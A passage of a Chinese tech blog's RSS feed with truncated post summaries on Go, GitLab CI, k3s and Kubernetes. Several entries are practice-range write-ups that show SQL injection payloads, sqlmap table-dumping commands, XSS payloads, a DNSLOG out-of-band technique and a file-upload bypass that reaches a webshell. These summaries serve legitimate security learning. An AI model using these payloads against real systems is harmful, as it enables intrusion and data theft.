实现 IoC 容器 参考文章 控制反转（IoC）与依赖注入（DI） 指出了依赖注入可以降低程序的耦合性。 能更好的拆分功能与基础设施。 那么在 golang 中又怎么实现呢？ 代码地址 golang-context-ioc.go 实现了一个 MysqlDriver 实现我们所有的数据存取操作。 并在全局域中实例化了一个对象 my。 在 main.go 中创建了一个 ctx := context.Background() 使用使用 ctx 作为 IoC 容器， 使</description></item><item><title>分支删除触发 gitlab CI</title><link>https://typonotes.com/posts/2021/06/30/gitlab-ci-trigger-when-branch-deleted/</link><pubDate>Wed, 30 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/30/gitlab-ci-trigger-when-branch-deleted/</guid><description>分支删除触发 gitlab CI 使用 environment , 在 gitlab branch 被删除的时候，触发 CI Stopping an environment 尝试在 JOB A 中申明一个变量，并停止。 使用 on_stop action 动作, 在删除分支时(同时删除变量), 触发运行 JOB B Stop an environment when a branch is deleted Stop an environment when a branch is deleted GitLab 在 CI 中配置一个 环境变量 , 当 branch 被删除的时候清理该 环境变量， 触发 on_stop 动作， 需求。 随后这段代码是节选，在 delpoy_action job</description></item><item><title>netfilter-五链四表 - 为什么服务器没有监听 80 端口却被k3s占用了</title><link>https://typonotes.com/posts/2021/06/27/k3s-and-netfilter/</link><pubDate>Sun, 27 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/27/k3s-and-netfilter/</guid><description>netfilter 五链四表 - 为什么服务器没有监听 80 端口却被k3s占用了 其实标题已经给出答案了。 希望大家都能夯实基础， 万事逃不过一个 道理和规则 。 现象 一天，发现服务器上 80 端口不能正常访问了， 无论怎么都是 404 page not found 。 这就奇怪了。 ssh 登录终端， 查看端口监听情况, nginx 服务器启动的好端端的在那里？ 1 2 3 4 5 netstat -tunpl |grep</description></item><item><title>iptables详解：iptables概念</title><link>https://typonotes.com/posts/2021/06/25/linux-iptable-introduce/</link><pubDate>Fri, 25 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/25/linux-iptable-introduce/</guid><description>iptables详解：iptables概念 原文作者: 朱双印 原文链接: https://www.zsythink.net/archives/1199 这篇文章会尽量以通俗易懂的方式描述iptables的相关概念，请耐心的读完它。 防火墙相关概念 此处先描述一些相关概念。 从逻辑上讲。防火墙可以大体分为主机防火墙和网络防火墙。 主机防火墙：针对于单个主机进行防护。 网络</description></item><item><title>i:=i ? Golang Block 到底是什么？ 怎么就能解决闭包变量冲突了？</title><link>https://typonotes.com/posts/2021/06/22/golang-block/</link><pubDate>Tue, 22 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/22/golang-block/</guid><description>i:=i ? Golang Block 到底是什么？ 怎么就能解决闭包变量冲突了？ 什么？ 你告诉我 i:=i 不仅合法，而且还常用。甚至能解决并发编程中的变量冲突？ 以下这段代码出自 golang 官方 的 Effective GO 并发编程章节。 为了解决 goroute 中变量 req 冲突， 使用了语句 req := req https://golang.org/doc/effective_go#concurrency 1 2 3 4 5 6 7 8 9 10 func Serve(queue chan *Request) { for req := range queue { req := req // Create new instance of req for the goroutine. sem &amp;lt;- 1 go func() {</description></item><item><title>Golang知识点(defer): 面试经常变量在 defer 中的值， 其实在问变量的作用域</title><link>https://typonotes.com/posts/2021/06/21/golang-defer-func-variables-scope/</link><pubDate>Mon, 21 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/21/golang-defer-func-variables-scope/</guid><description>变量在 defer 中的值， 其实在问变量的作用域 有没有想过， 面试中经常问的 变量在 defer 之后的值， 其实是在问 函数变量的作用域 简单的说， defer 就是将当前操作放入 堆 中， 等待触发 return 的时候再拿出来执行。 符合堆的特色， 先进后出。 从细节来了， 还需要注意 变量 在 defer 中的 作用域 ？ 函数 的 执行操作 是在 入堆前还是后 ？ defer 中的函数</description></item><item><title>dnsx - 一款支持多解析商的命令行 dnsx 客户端</title><link>https://typonotes.com/posts/2021/06/17/dnsx/</link><pubDate>Thu, 17 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/17/dnsx/</guid><description>dnsx - 一款支持多解析商的命令行 dnsx 客户端 多支持多运营商的 DNS 命令行 客户端。 Usage 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DNSx 配置管理 DNS 解析 Usage: dnsx [command] Available Commands: add 添加域名解析 configure 管理配置文件 delete 删除解析记录 help Help about any command search 查询记录信息 switch 切换域名状态 Flags: -c, --config string config file (default &amp;#34;$HOME/.dnsx/dnsx.json&amp;#34;) -h, --help help for dnsx -p, --profile string profile (default &amp;#34;default&amp;#34;) Use &amp;#34;dnsx [command] --help&amp;#34; for more information about a command. dnsx profile configure dnsx</description></item><item><title>5分钟k3s - k3s 使用外部数据库实现高可用</title><link>https://typonotes.com/posts/2021/06/16/k3s-cluster-ha/</link><pubDate>Wed, 16 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/16/k3s-cluster-ha/</guid><description>5分钟k3s - k3s 使用外部数据库实现高可用 hostname ipaddr master01 192.168.0.12 master01 192.168.0.45 agent01 192.168.0.111 1. 安装外置数据库 1 2 3 4 5 6 # 1. 安装一个外置数据库 # yum install mariadb mariadb-server ## ubuntu apt update apt install -y mysql-server 适配 mysql8.0 创建用户 1 2 3 4 5 6 7 8 -- mysql 8.0 创建解决办法: -- 创建账户:create user &amp;#39;用户名&amp;#39;@&amp;#39;访问主机&amp;#39; identified by &amp;#39;密</description></item><item><title>我用写了一个 gitlab 代码合并机器人， 帮老板每个月省了 100 万（附源码）</title><link>https://typonotes.com/posts/2021/06/16/gitlab-mergebot/</link><pubDate>Wed, 16 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/16/gitlab-mergebot/</guid><description>我用写了一个 gitlab 代码合并机器人， 帮老板每个月省了 100 万 原文链接: https://tangx.in/posts/2021/06/16/gitlab-mergebot/ gitlab merge request robot 是一个 golang 编写的 gitlab mr 请求处理扩展服务。 由于 gitlab(free plan) 的 Merge Request 功能有限， 不能支持多人 Code Reivew。 因此引入第三方机器人进行 MR 合法性仲裁。 设计思路 目标的安全: 使用 目标项目和分支 中的 .mergebot.yml 配置作为机器人判定配置 有意义的文字信息:</description></item><item><title>XXE 实体注入</title><link>https://typonotes.com/posts/2021/06/12/xxe-demo/</link><pubDate>Sat, 12 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/12/xxe-demo/</guid><description>XXE 实体注入 好文推荐 https://xz.aliyun.com/t/3357#toc-0 https://cloud.tencent.com/developer/article/1690035 XXE 认识 XML 文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition） 的东西控制的，他就是长得下面这个样子 1 2 3 4 5 6 &amp;lt;message&amp;gt; &amp;lt;receiver&amp;gt;Myself&amp;lt;/receiver&amp;gt; &amp;lt;sender&amp;gt;Someone&amp;lt;/sender&amp;gt; &amp;lt;header&amp;gt;TheReminder&amp;lt;/header&amp;gt; &amp;lt;msg&amp;gt;This is an amazing book&amp;lt;/msg&amp;gt; &amp;lt;/message&amp;gt; XXE(XML External Entity Injection) 全称为 XML 外部实体注入，从名字就能看出来，这是一个注入漏洞，注入的是什么？XM</description></item><item><title>5分钟k3s - k3s单节点架构介绍与安装卸载管理</title><link>https://typonotes.com/posts/2021/06/07/k3s-architecture-single-server/</link><pubDate>Mon, 07 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/07/k3s-architecture-single-server/</guid><description>5分钟k3s - k3s单节点架构介绍与安装卸载管理 k3s 单 Server 节点架构 K3s 单节点集群的架构如下图所示，该集群有一个内嵌 SQLite 数据库的单节点 K3s server。 在这种配置中，每个 agent 节点都注册到同一个 server 节点。K3s 用户可以通过调用 server 节点上的 K3s API 来操作 Kubernetes 资源。 单节点k3s server的架构 Server 安装 安装条件</description></item><item><title>5分钟k3s-什么是 K3s? K3s 简介与适用场景介绍</title><link>https://typonotes.com/posts/2021/06/05/k3s-introduce/</link><pubDate>Sat, 05 Jun 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/06/05/k3s-introduce/</guid><description>什么是 K3s? K3s 是一个轻量级的 Kubernetes 发行版，它针对边缘计算、物联网等场景进行了高度优化。 K3s 有以下增强功能： 打包为单个二进制文件。 使用基于 sqlite3 的轻量级存储后端作为默认存储机制。同时支持使用 etcd3、MySQL 和 + PostgreSQL 作为存储机制。 封装在简单的启动程序中，通过该启动程序处理很多复杂的 TLS 和选项。 默</description></item><item><title>(1) 静态前端网站容器化 - 理论篇</title><link>https://typonotes.com/posts/2021/05/22/frontend-webapp-dockerize-final/</link><pubDate>Sat, 22 May 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/05/22/frontend-webapp-dockerize-final/</guid><description>使用js读取html meta 实现静态前端网站容器化 之前写过一篇关于前端容器化的文章， 静态前端网站容器化 。 现在看来， 那个方案的可操作性并不高， 而且很弱智。 其中实现是需要使用 sed 替换 所有文件 中的占位符。 然后， js 本身是可以通过 html meta 传递信息的。 以下， 则是 通过 js 获取 html meta 信息以实现前端容器化 1. 重新整</description></item><item><title>gitlab-ci 配置复用 - reference tags</title><link>https://typonotes.com/posts/2021/03/12/gitlab-ci-reference-tags/</link><pubDate>Fri, 12 Mar 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/03/12/gitlab-ci-reference-tags/</guid><description>gitlab-ci 配置复用 - reference tags 在 GitLab 13.9 中增加了一个新的关键字 !reference。 这个关键字可以在任意位置复用已存在的配置。 1 2 3 4 # tree ci/setup.yml .gitlab-ci.yml ci/setup.yml 1 2 3 4 5 6 # 以 . 开头的 job 名称为 隐藏job ， 将在 ci 中将被忽略 # https://docs.gitlab.com/ee/ci/yaml/README.html#hide-jobs .setup: image: hub-dev.rockontrol.com/docker.io/library/alpine:3.12 script: - echo creating environment .gitlab.ci.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36</description></item><item><title>lego-certmgr 使用 lego 生成证书的 web 服务</title><link>https://typonotes.com/posts/2021/02/09/lego-certmgr-usage/</link><pubDate>Tue, 09 Feb 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/02/09/lego-certmgr-usage/</guid><description>lego-certmgr 一款使用 lego 生成域名证书的代理服务 lego-certmgr 是一个基于 lego - Github Libiray 封装的证书申请 代理 。 其目的是 为了快速方便的申请 Let&amp;rsquo;s Encrypt 证书 提供 RESTful API 接口， 方便下游系统 (ex cmdb) 调用并进行资源管理 因此 certmgr 为了方便快速返回已生成过的证书而缓存了一份结果。 由于 certmgr 定位是 代理 ， 所以并未考虑证书的 持久化 和 过期重建 操作。 使用说明 下载</description></item><item><title>静态前端网站容器化</title><link>https://typonotes.com/posts/2021/01/28/frontend-webapp-dockerize/</link><pubDate>Thu, 28 Jan 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/01/28/frontend-webapp-dockerize/</guid><description>静态前端网站容器化 在容器启动的时候，将环境信息初始化到静态文件中，实现无状态镜像。 现实与需求 js 代码需要先从服务器下载到客户本地浏览器运行， 再与后端的服务器进行交付提供服务。 使用 nodejs 书写的网站， 通过 编译 产生静态文件， 放在 WEB容器 (例如 nginx/caddy ) 中即可对外提供服务。 容器本身需要无状态， 实现</description></item><item><title>CronJob 和 Job 的 退出 POD 数量管理</title><link>https://typonotes.com/posts/2021/01/22/exited-pod-limits/</link><pubDate>Fri, 22 Jan 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/01/22/exited-pod-limits/</guid><description>CronJob 和 Job 的 Pod 退出保留时间 cronjob 可以认为 CronJob 作为定时调度器， 在正确的时间创建 Job Pod 完成任务。 在 CronJob 中， 默认 .spec.successfulJobsHistoryLimit: 保留 3 个正常退出的 Job .spec.failedJobsHistoryLimit: 1 个异常退出的 Job 1 2 3 4 5 6 7 8 9 10 11 12 13 apiVersion: batch/v1beta1 kind: CronJob metadata: name: zeus-cron-checkqueue namespace: zeus-dev spec: schedule: &amp;#34;*/10 * * * *&amp;#34; failedJobsHistoryLimit: 1 successfulJobsHistoryLimit: 3 jobTemplate: spec: template: # ... 略 https://github.com/kubernetes/kubernetes/issues/64056 job 除了 cronjob 管理 job 之外， job 本身也提供 .spec.ttlSecondsAfterFinished 进行退出管理。 默认情况下 如果 ttlSecondsAfterFinished 值未</description></item><item><title>存储型 XSS 利用</title><link>https://typonotes.com/posts/2020/12/25/xss-with-store/</link><pubDate>Fri, 25 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/25/xss-with-store/</guid><description>存储型XSS 0x00 写在前面 任何事情切忌脑壳铁， 多听、多看、多梳理才能快速构建自己的知识树 ， 因而提高自己的快速检索能力。 好文推荐 循序渐进理解：跨源跨域，再到 XSS 和 CSRF - 双猫 信息收集 fofa 进入 https://fofa.so 搜索网站地址 整理信息： 操作系统： windows Web容器： apache/2.4.23/(win32) 开发语言版本: php/5.4.45 cms 查询 开发调试工具 cms 指纹工具 这里说一下</description></item><item><title>upload-labs上传漏洞利用笔记</title><link>https://typonotes.com/posts/2020/12/23/upload-labs/</link><pubDate>Wed, 23 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/23/upload-labs/</guid><description>文件上传漏洞 http://59.63.200.79:8016/Pass-01/index.php 配置 burpsuite， 开启response 拦截 pass-01 前端验证绕过 核心思想： 拦截 response ， 删除前端功能模块。 拦截 response。 删除 96 行以后的 js 模块， 并放行。 获取图片地址， 使用 蚁剑 连接 1 2 3 http://59.63.200.79:8016/Pass-01/upload/webshell.php # flag_kezZYqSU.txt : zkaq{PpsG@-cImaU2cahL} pass-02 Content-Type方式绕过 上传，拦截，抓包，修改 content-type: text/php 为 content-type: image/jpeg 1 2 3 http://59.63.200.79:8016/Pass-02/upload/webshell.php</description></item><item><title>MSSQL 反弹注入 堆叠注入 与 MSSQL速查</title><link>https://typonotes.com/posts/2020/12/18/sql-inject-with-mssql-by-oob-stacked-inject/</link><pubDate>Fri, 18 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/18/sql-inject-with-mssql-by-oob-stacked-inject/</guid><description>MSSQL 反弹注入 堆叠注入 与 MSSQL速查 https://hack.zkaq.cn/battle/target?id=7dd07600c96f5d55 蠢到爆了 数据库自带库，表信息也可以使用 反弹 方式获取 数据库自带库，表信息也可以使用 反弹 方式获取 数据库自带库，表信息也可以使用 反弹 方式获取 数据库自带库，表信息也可以使用 反弹 方式获取 数据库自带库，表信息也可以使用 反弹 方式获取 数据库自带库，表信息也可以</description></item><item><title>反射性 XSS</title><link>https://typonotes.com/posts/2020/12/18/xss-relection/</link><pubDate>Fri, 18 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/18/xss-relection/</guid><description>反射性 XSS 利用方式 Js的标识：弹窗：alert(1) 标签风格：&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; 伪协议触发：&amp;lt;a href=javascript:alert(1)&amp;gt;1&amp;lt;/a&amp;gt; (伪协议:) http:// ftp:// 小众协议：php:// 事件方法：&amp;lt;img src=1 onerror=alert(1) /&amp;gt; (触发器：事件) 在标签里面on开头的东西很高概率是事件</description></item><item><title>SQL注入 - DNSLOG注入 与 WAF绕过</title><link>https://typonotes.com/posts/2020/12/17/sql-inject-by-oob-dnslog-and-bypass-waf/</link><pubDate>Thu, 17 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/17/sql-inject-by-oob-dnslog-and-bypass-waf/</guid><description>SQL注入 - DNSLOG注入 与 WAF绕过 https://hack.zkaq.cn/battle/target?id=9b8ee696eb01591e 0x00 为什么经常说 完全和运维工作要左移（参考 CI/CD 流程） ？ 不管说什么， 商业的本质是赚钱， 阻挡赚钱的一切都是异端。 在任何时候 信息收集 都很重要。 分析的对象是 信息 ， 被利用对象的本质是 疏漏 。 信息分析可以找出这些疏漏 文件解析漏洞: 任意文件被指定解释器调用。</description></item><item><title>SQL注入-偏移注入</title><link>https://typonotes.com/posts/2020/12/17/sql-inject-by-pianyi/</link><pubDate>Thu, 17 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/17/sql-inject-by-pianyi/</guid><description>偏移注入 cookie 注入是类似于 POST 或者 GET 传参方式的一种。在 post 或 get 传入参数被反制的时候，可以尝试使用 cookie 注入。 常见的修改 cookie 值的方式有以下几种 浏览器，开发者工具 ，console 控制台。 documents.cookie=&amp;quot;id=171&amp;quot; documents.cookie=&amp;quot;id=&amp;quot;+escape(&amp;quot;171 order by 11&amp;quot;) 。 其中 escape 为 js 函数， 作用是进行 url 编码。 浏览器插件 burpsuite 抓包修改 access 数据库 access 本身没有库的概念， 更像是 表的集合 access 本</description></item><item><title>SQL注入之 宽字节注入</title><link>https://typonotes.com/posts/2020/12/15/sql-inject-by-wildchar/</link><pubDate>Tue, 15 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/15/sql-inject-by-wildchar/</guid><description>SQL注入之 宽字节注入 http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1 利用原理： 利用数据库 支持的 多字节 编码特性， 将 转义符号 的 编码 ** 与编码** 顺位组合， 使 转义符号 失去原有的意义， 从而达到逃脱的目的。 这里 多字节 不一定是 双字节 如 （GBK）。 在其他字符集环境下，可能是其他字节， 例如 UTF-8 的三字节 。 在最左侧闭合逃脱的时候，可以使用 宽字节 方</description></item><item><title>Head 注入 - X-Forwarded-For 注入 （XFF）</title><link>https://typonotes.com/posts/2020/12/14/sql-inject-with-head-x-forwarded-for/</link><pubDate>Mon, 14 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/14/sql-inject-with-head-x-forwarded-for/</guid><description>Head 注入 - X-Forwarded-For 注入 （XFF） 注意 burpsuite http 文件有自己的格式， HEAD 信息之间 不能有 空格。 X-Forwarded-For 单词不要写错。 X-Forwarded-For 在直接请求时，burpsuite 抓包中没有。 因此需要手工传入。 在每一步都需要仔细认真，切忌焦躁、贪多 ，事情往往就在最后一步事情平常心而导致失败。 使用 burpsuite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /Pass-09/index.php HTTP/1.1 Host:</description></item><item><title>SQL注入之 head 注入与引号绕过</title><link>https://typonotes.com/posts/2020/12/12/sql-inject-by-head-and-quote-bypass/</link><pubDate>Sat, 12 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/12/sql-inject-by-head-and-quote-bypass/</guid><description>SQL注入之 head 注入与引号绕过 http://injectx1.lab.aqlab.cn:81/Pass-07/index.php?action=show_codea 0x00 先说结论 使用 -- gg 比 --+ 更通用，GET 中 + 会转为 空格 但 POST 中不会 其他而言, HEAD 注入与参数注入利用方式差别不大。 目前看来 INSERT 最难利用的是在判断 字段 插入位置和值对应类型 。 使用 updatexml() 函数报错 xpath 由于 0x7e 是 ~ ，不属于xpath语法格式， 因此报出xpath语法错误。 0x01 分析代码</description></item><item><title>golang 为 struct 自动添加 tags</title><link>https://typonotes.com/posts/2020/12/11/tips-auto-add-tags/</link><pubDate>Fri, 11 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/11/tips-auto-add-tags/</guid><description>golang 为 struct 自动添加 tags vscode 中的 go 0.12.0 版本新加入了一个 auto add tags 的功能。 setting.json 配置如下 1 2 3 4 5 6 &amp;#34;go.addTags&amp;#34;: { &amp;#34;tags&amp;#34;: &amp;#34;yaml,json&amp;#34;, &amp;#34;options&amp;#34;: &amp;#34;yaml=omitempty,yaml=options2,yaml=options3,json=omitempty&amp;#34;, &amp;#34;promptForTags&amp;#34;: false, &amp;#34;transform&amp;#34;: &amp;#34;snakecase&amp;#34; }, 在 example.go 中创建一个 struct 1 2 3 4 5 type Person struct { Name string Age int Gender string } 将光标移动到 struct 结构体中， 使用 command + shift + p 选择 go: add tag for struct 即可 result 1 2 3 4 5 type Person struct { Name string `yaml:&amp;#34;name,omitempty,options2,options3&amp;#34; json:&amp;#34;name,omitempty&amp;#34;` Age int `yaml:&amp;#34;age,omitempty,options2,options3&amp;#34; json:&amp;#34;age,omitempty&amp;#34;` Gender string `yaml:&amp;#34;gender,omitempty,options2,options3&amp;#34; json:&amp;#34;gender,omitempty&amp;#34;` }</description></item><item><title>掌控安全 SQL 注入靶场练习 - Dnslog 带外测试</title><link>https://typonotes.com/posts/2020/12/10/zkaq-sql-inject-by-dnslog/</link><pubDate>Thu, 10 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/10/zkaq-sql-inject-by-dnslog/</guid><description>掌控安全 SQL 注入靶场练习 - Dnslog 带外测试 dnslog 带外实现 依赖 UNC ， 因此只能在 Windows 下利用 利用 DNS 记录不存在时向上查询的工作模式实现带外攻击 不支持 load_file('http://host:port/1.txt') 模式， 否则用不着 dns 了。 OOB 带外中心思想 将本地数据 select ... 通过触发器 load_file( ... ) 将结果传递到外部（含文件）xx.dnslog.cn 0x00 先说结论 0x00.1 dnslog 结果只会缓存 10 个， 超过 10</description></item><item><title>查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句</title><link>https://typonotes.com/posts/2020/12/09/select-dbms-schema-table-column-names/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/09/select-dbms-schema-table-column-names/</guid><description>查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句 注意: 由于 引号 的原因， 盲注时字符探测不能使用 字符 。 而应该使用 ASCII 进行转换。 0x01 数据库探测 0x01.1 数据库数量探测 1 2 3 -- 数据库数量探测 http://vulhub.example.com:81/Pass-10/index.php?id=1 AND (SELECT COUNT(*) FROM information_schema.SCHEMATA)=6 0x01.2 当前数据库名称探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -- 查询当前数据库有多少张表 SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); --</description></item><item><title>掌控安全 SQL 注入靶场练习 - 时间盲注</title><link>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-timebased-blind/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-timebased-blind/</guid><description>掌控安全 SQL 注入靶场练习 - 时间盲注 SQL 时间盲注 0x01 使用 SQLMAP 工具 0x01.1 dump database 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 --current-db 执行结果 current database: &amp;#39;kanwolongxia&amp;#39; 0x01.2 dump tables 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia --tables 执行结果 Database: kanwolongxia [3 tables] +--------+ | user | | loflag | | news | +--------+ 3 tables: user, loflag, news 0x01.3 dump columns 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag --columns 执行结果 Database: kanwolongxia Table: loflag [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | flaglo | varchar(255) | | Id | int(11) | +--------+--------------+ 0x01.4 dump values 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump 执行结果 Database: kanwolongxia Table: loflag [5 entries]</description></item><item><title>掌控安全 SQL 注入靶场练习 - 引号括号错误注入</title><link>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error-quote-and-bracket/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error-quote-and-bracket/</guid><description>掌控安全 SQL 注入靶场练习 - 引号括号错误注入 根据之前的经验，已经猜测出过关 Flag 的值了。 接下来两关是 引号 与 括号 的组合。 0x01 括号单引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 单引号 和 括号 http://vulhub.example.com:81/Pass-03/index.php?id=1&amp;#39;) and 1=2 union select 1,2,(select group_concat(flag) from error_flag) --+ 1 --- flags: zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K 0x02 括号双引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 双引号 和 括号 http://vulhub.example.com:81/Pass-04/index.php?id=1&amp;#34;) and 1=2 union select 1,2,(select group_concat(flag)</description></item><item><title>掌控安全 SQL 注入靶场练习 Pass1 - 报错注入</title><link>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error/</guid><description>掌控安全 SQL 注入靶场练习 Pass1 - 报错注入 靶场地址: http://vulhub.example.com:81/Pass-01/index.php?id=1 注意: 错误注入 不一定是会返回错误信息。 也指不正常显示结果， 例如此题的查询为空。 0x01 准备工具 辅助工具 google extension : hackbar 帮助快速构造语句 显示原始字符，免去 urlcode 烦恼 0x02 开始 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 -- 1. 查询数据库名 http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2, database() --</description></item><item><title>掌控安全 SQL 注入靶场练习Pass2 - 单引号报错注入</title><link>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error-single-quote/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error-single-quote/</guid><description>掌控安全 SQL 注入靶场练习Pass2 - 单引号报错注入 课程目标 https://hack.zkaq.cn/battle/target?id=695d4b6fe02d0bf3 注意, 误区 : 一定 不要认为 所有错误都会被反映到页面上， 程序会处理错误逻辑，并隐藏。 0x01. 判断注入点 引号探测 使用 http://vulhub.example.com:81/Pass-02/index.php?id=1' and 1=1 --+。 可以正常显示结果， 但 1=2 --+ 不行。 判断为 单引号 闭合。 错误姿势 1 2 -- 1. 语句错误, 测试了 `select 1 到 7`。 都没发现可以</description></item><item><title>5 分钟Gitlab - 安装 Gitlab</title><link>https://typonotes.com/posts/2020/12/07/install-gitlab/</link><pubDate>Mon, 07 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/07/install-gitlab/</guid><description>5 分钟Gitlab - 安装 Gitlab Gitlab 是巴啦啦啦啦一大堆。 好处很多。 选型 即使不准备付费， 也选 GitlabEE（企业版本）。 ee 版本免费授权 ee 版本默认开放 ce （社区版） 所有功能。 启用高级功能只需付费购买授权即可。 https://about.gitlab.com/install/ce-or-ee/?distro=ubuntu 准备 准备一台虚拟机， 假设为 ubuntu20.04 操作系统。 根据需要，挂载多个数据盘 默认 /var/opt/gitlab (建议独立) 数</description></item><item><title>k8s 部署工具 kustomize 的实用小技巧</title><link>https://typonotes.com/posts/2020/12/05/kusutomize-usage-tips/</link><pubDate>Sat, 05 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/05/kusutomize-usage-tips/</guid><description>k8s 部署工具 kustomize 的实用小技巧 在 k8s 上的部署， 大多组件都默认提供 helm 方式。 在实际使用中， 常常需要针对不通环境进行差异化配置。 个人觉得， 使用 kustomize 替换在使用和管理上，比直接使用 helm 参数更为清晰 。 同时组件在一个大版本下的部署方式通常不会有太大的变化， 没有必要重新维护一套部署文档，其实也不一定有精力这</description></item><item><title>学习 shell 反弹实现， 优化 Docker 基础镜像安全</title><link>https://typonotes.com/posts/2020/12/03/shell-reflect2/</link><pubDate>Thu, 03 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/03/shell-reflect2/</guid><description>学习 shell 反弹实现， 优化 Docker 基础镜像安全 天天都在说优化 Dockerfile。 到底怎么优化， 优化后的检验指标又是什么？ 没有考虑清楚行动目的， 隔空放炮， 必然徒劳无功。 笔者最近准备在 CI 上增加安全检测， 在分析案例样本的时候， 找到了比较流行的 struts2 漏洞， 其中 S2-052 远程代码执行漏洞 的利用方式就是在 POST 请求中</description></item><item><title>使用 sqlmap 根据变量位置定点注入 restful api</title><link>https://typonotes.com/posts/2020/12/02/sqlmap-injection-restful/</link><pubDate>Wed, 02 Dec 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/12/02/sqlmap-injection-restful/</guid><description>使用 sqlmap 根据变量位置定点注入 restful api sqlmap 是一款强劲自动化的 sql 注入工具， 使用 python 开发， 支持 python 2/3。 RESTful API 规则几乎是当前开发执行的默认规范。 在 restful 接口中， 常常将变量位置放置在 url 中。 例如 http://127.0.0.1:8080/{user}/profile ， 其中 {user} 就是变量，根据代码实现方式，可以等价于 http://127.0.0.1:8080/profile?user={user} 。 那么， 在对这类 restful 接口进行 sql 注入的时候，又该注意什么呢？ 本文将</description></item><item><title>minio 使用 lego 实现 https</title><link>https://typonotes.com/posts/2020/11/13/minio-with-lego/</link><pubDate>Fri, 13 Nov 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/11/13/minio-with-lego/</guid><description>minio 使用 lego 实现 https 访问 minio 提供两种 https 访问。 推荐 在启动过程中使用 certs 证书。 此种方法最后只提供 https 访问。 使用 https 代理。 nginx proxy caddy proxy 1 2 3 4 5 6 7 8 9 10 $ tree . -L 3 . ├── certs │ ├── CAs │ ├── private.key │ └── public.crt ├── data ├── entrypoint.sh ├── minio 1 2 3 4 5 6 7 8 9 #!/bin/bash # entrypoint.sh cd $(dirname $0) DIR=$(pwd) export 